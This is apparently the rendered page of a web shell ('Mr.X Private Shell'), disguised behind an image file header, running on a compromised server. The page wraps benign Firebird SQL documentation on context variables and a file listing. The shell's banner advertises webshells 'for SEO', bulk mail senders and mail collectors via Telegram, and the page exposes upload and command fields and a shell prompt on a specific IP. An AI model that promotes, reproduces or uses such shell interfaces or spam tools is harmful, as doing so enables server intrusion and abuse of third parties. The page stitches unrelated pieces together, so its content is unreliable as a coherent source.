����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
-----------------------------------------
Generic user and system context variables
-----------------------------------------

Function:
    New built-in functions give access to some information about current
    connection and current transaction. Also they provide means to associate
    and retrieve user context data with transaction or connection.

Author:
    Nickolay Samofatov <nickolay at broadviewsoftware dot com>

Format:
    RDB$SET_CONTEXT( <namespace>, <variable>, <value> )
    RDB$GET_CONTEXT( <namespace>, <variable> )

Returned value:
    INTEGER for RDB$SET_CONTEXT
    VARCHAR(32765) for RDB$GET_CONTEXT

Usage:

  RDB$SET_CONTEXT and RDB$GET_CONTEXT set and retrieve current value for the
  context variables. Namespace name identifies a group of context variables with
  similar properties. Access rules such as the fact if variables may be read and
  written to and by whom are determined by namespace which they belong to.

  Namespace and variable names are case-sensitive.

  Value of a variable is stored as a string, its length is limited by 32765 bytes.

  RDB$GET_CONTEXT retrieves current value of a variable. If variable does not
  exist in namespace return value for the function is NULL.

  RDB$SET_CONTEXT sets a value for specific variable. Function returns value of
  1 if variable existed before the call and 0 otherwise. To delete variable from
  context set its value to NULL.

  Currently, there is a fixed number of pre-defined namespaces you may use.

  USER_SESSION namespace offers access to session-specific user-defined
  variables. You can define and set value for variable with any name in this
  context. USER_TRANSACTION namespace offers the same possibilities for
  individual transactions.

  SYSTEM namespace provides read-only access to the following variables.

   Variable name                  Value
  ------------------------------------------------------------------------------
   NETWORK_PROTOCOL	            | The network protocol used by client to connect. Currently
                                | used values: "TCPv4", "TCPv6", "WNET", "XNET" and NULL.
                                |
   WIRE_COMPRESSED              | Compression status of current connection.
                                | If connection is compressed - returns "TRUE", if it is
                                | not compressed - returns "FALSE".
                                | If connection is embedded - returns NULL.
                                |
   WIRE_ENCRYPTED               | Encryption status of current connection.
                                | Value is the same as for compression status above.
                                |
   WIRE_CRYPT_PLUGIN            | If connection is encrypted - returns name of current plugin,
                                | otherwise NULL.
                                |
   CLIENT_ADDRESS               | The wire protocol address and port number of remote client
                                | represented as string. Value is IP address concatenated with
                                | port number using the '/' separator character. Value is
                                | returned for TCPv4 and TCPv6 protocols only, for all other
                                | protocols NULL is returned.
                                |
   CLIENT_HOST                  | The wire protocol host name of remote client. Value is
                                | returned for all supported protocols.
                                |
   CLIENT_OS_USER               | Remote OS user name
                                |
   CLIENT_PID                   | Process ID of remote client application
                                |
   CLIENT_PROCESS               | Process name of remote client application
                                |
   CLIENT_VERSION               | Version of the client library used by client application
                                |
   DB_NAME                      | Canonical name of current database. It is either alias
                                | name if connectivity via file names is not allowed or
                                | fully expanded database file name otherwise.
                                |
   DB_GUID                      | GUID of the current database
                                |
   DB_FILE_ID                   | Unique filesystem-level ID of the current database
                                |
   ISOLATION_LEVEL              | Isolation level for current transaction. Returned values
                                | are "READ COMMITTED", "CONSISTENCY", "SNAPSHOT".
                                |
   TRANSACTION_ID               | Numeric ID for current transaction. Returned value is the
                                | same as of CURRENT_TRANSACTION pseudo-variable.
                                |
   LOCK_TIMEOUT                 | Lock timeout value specified for current transaction
                                |
   READ_ONLY                    | Returns "TRUE" if current transaction is read-only and
                                | "FALSE" otherwise
                                |
   SESSION_ID                   | Numeric ID for current session. Returned value is the
                                | same as of CURRENT_CONNECTION pseudo-variable.
                                |
   CURRENT_USER                 | Current user for the connection. Returned value is the
                                | same as of CURRENT_USER pseudo-variable.
                                |
   EFFECTIVE_USER               | Effective user for now. It indicates privileges of
                                | which user is currently used to execute function, procedure, trigger.
                                |
   CURRENT_ROLE                 | Current role for the connection. Returned value is the
                                | same as of CURRENT_ROLE pseudo-variable.
                                |
   ENGINE_VERSION               | Engine version number, e.g. "2.1.0" (since V2.1)
                                |
   GLOBAL_CN                    | Most current value of global Commit Number counter
                                |
   SNAPSHOT_NUMBER              | Value of Snapshot Number of currently database snapshot: either
                                | transaction level (for SNAPSHOT or CONSISTENCY transaction),
                                | or request level (for READ COMMITTED READ CONSISTENCY
                                | transaction). NULL, if snapshot is not exist.
                                |
   SESSION_IDLE_TIMEOUT         | Current value of idle connection timeout
                                |
   STATEMENT_TIMEOUT            | Current value of statement execution timeout
                                |
   REPLICATION_SEQUENCE         | Current replication sequence (number of the latest segment
                                | written to the replication journal)
                                |
   REPLICA_MODE                 | Replica mode of the database. Possible values are
                                | "READ-ONLY", "READ-WRITE" and NULL.
                                |
   EXT_CONN_POOL_SIZE           | Pool size (number of connections inside the pool)
                                |
   EXT_CONN_POOL_IDLE_COUNT     | Count of currently inactive connections in the pool
                                |
   EXT_CONN_POOL_ACTIVE_COUNT   | Count of active connections, associated with pool
                                |
   EXT_CONN_POOL_LIFETIME       | Idle connection lifetime, in seconds
                                |
   SESSION_TIMEZONE             | Current session time zone.

Notes:
   To prevent DoS attacks against Firebird Server you are not allowed to have
   more than 1000 variables stored in each transaction or session context.

Example(s):

create procedure set_context(User_ID varchar(40), Trn_ID integer) as
begin
  RDB$SET_CONTEXT('USER_TRANSACTION', 'Trn_ID', Trn_ID);
  RDB$SET_CONTEXT('USER_TRANSACTION', 'User_ID', User_ID);
end;

create table journal (
   jrn_id integer not null primary key,
   jrn_lastuser varchar(40),
   jrn_lastaddr varchar(255),
   jrn_lasttransaction integer
);

CREATE TRIGGER UI_JOURNAL FOR JOURNAL BEFORE INSERT OR UPDATE
as
begin
  new.jrn_lastuser = rdb$get_context('USER_TRANSACTION', 'User_ID');
  new.jrn_lastaddr = rdb$get_context('SYSTEM', 'CLIENT_ADDRESS');
  new.jrn_lasttransaction = rdb$get_context('USER_TRANSACTION', 'Trn_ID');
end;

execute procedure set_context('skidder', 1);

insert into journal(jrn_id) values(0);

commit;

Filemanager

Name Type Size Permission Actions
README.PSQL_stack_trace.txt File 1.96 KB 0644
README.aggregate_filter.md File 941 B 0644
README.aggregate_tracking File 3.88 KB 0644
README.alternate_string_quoting.txt File 846 B 0644
README.autonomous_transactions.txt File 1.31 KB 0644
README.blob_append.md File 4.99 KB 0644
README.builtin_functions.txt File 29.49 KB 0644
README.case File 1.71 KB 0644
README.coalesce File 1.04 KB 0644
README.column_type_psql.txt File 871 B 0644
README.common_table_expressions File 4.78 KB 0644
README.context_variables File 4.66 KB 0644
README.context_variables2 File 8.47 KB 0644
README.cumulative_roles.txt File 2.27 KB 0644
README.current_time File 814 B 0644
README.cursor_variables.txt File 2.75 KB 0644
README.cursors File 2.43 KB 0644
README.data_type_results_of_aggregations.txt File 1.56 KB 0644
README.data_types File 8.31 KB 0644
README.db_triggers.txt File 1.8 KB 0644
README.ddl.txt File 22.52 KB 0644
README.ddl_access.txt File 1.53 KB 0644
README.ddl_triggers.txt File 11.67 KB 0644
README.default_parameters File 1.91 KB 0644
README.derived_tables.txt File 2.69 KB 0644
README.distinct File 813 B 0644
README.domains_psql.txt File 933 B 0644
README.exception_handling File 2.44 KB 0644
README.execute_block File 1.45 KB 0644
README.execute_statement File 4.24 KB 0644
README.execute_statement2 File 9.54 KB 0644
README.explicit_locks File 5.91 KB 0644
README.expression_indices File 1.3 KB 0644
README.external_connections_pool File 4.31 KB 0644
README.floating_point_types.md File 2.33 KB 0644
README.global_temporary_tables File 3.43 KB 0644
README.hex_literals.txt File 1.13 KB 0644
README.identity_columns.txt File 3.24 KB 0644
README.iif File 541 B 0644
README.isc_info_xxx File 3.61 KB 0644
README.joins.txt File 1.23 KB 0644
README.keywords File 5.26 KB 0644
README.leave_labels File 1.68 KB 0644
README.length File 486 B 0644
README.linger File 1.34 KB 0644
README.list File 1.04 KB 0644
README.management_statements_psql.md File 925 B 0644
README.mapping.html File 14.91 KB 0644
README.merge.txt File 1.77 KB 0644
README.null_value File 23 B 0644
README.nullif File 611 B 0644
README.offset_fetch.txt File 1.69 KB 0644
README.order_by_expressions_nulls File 1.67 KB 0644
README.packages.txt File 5.12 KB 0644
README.plan File 3.49 KB 0644
README.regr_functions.txt File 1.14 KB 0644
README.returning File 2.91 KB 0644
README.rows File 1.34 KB 0644
README.savepoints File 4.08 KB 0644
README.scrollable_cursors.txt File 3.06 KB 0644
README.select_expressions File 2.18 KB 0644
README.sequence_generators File 1.68 KB 0644
README.set_bind.md File 4.49 KB 0644
README.set_role File 768 B 0644
README.set_transaction.txt File 1.63 KB 0644
README.similar_to.txt File 9.53 KB 0644
README.sql_security.txt File 5.51 KB 0644
README.statistical_functions.txt File 1.6 KB 0644
README.subroutines.txt File 4.23 KB 0644
README.substring_similar.txt File 1.2 KB 0644
README.time_zone.md File 14.34 KB 0644
README.trim File 997 B 0644
README.universal_triggers File 2.77 KB 0644
README.update_or_insert File 1.38 KB 0644
README.user_management File 4.43 KB 0644
README.view_updates File 23 B 0644
README.window_functions.md File 14.92 KB 0644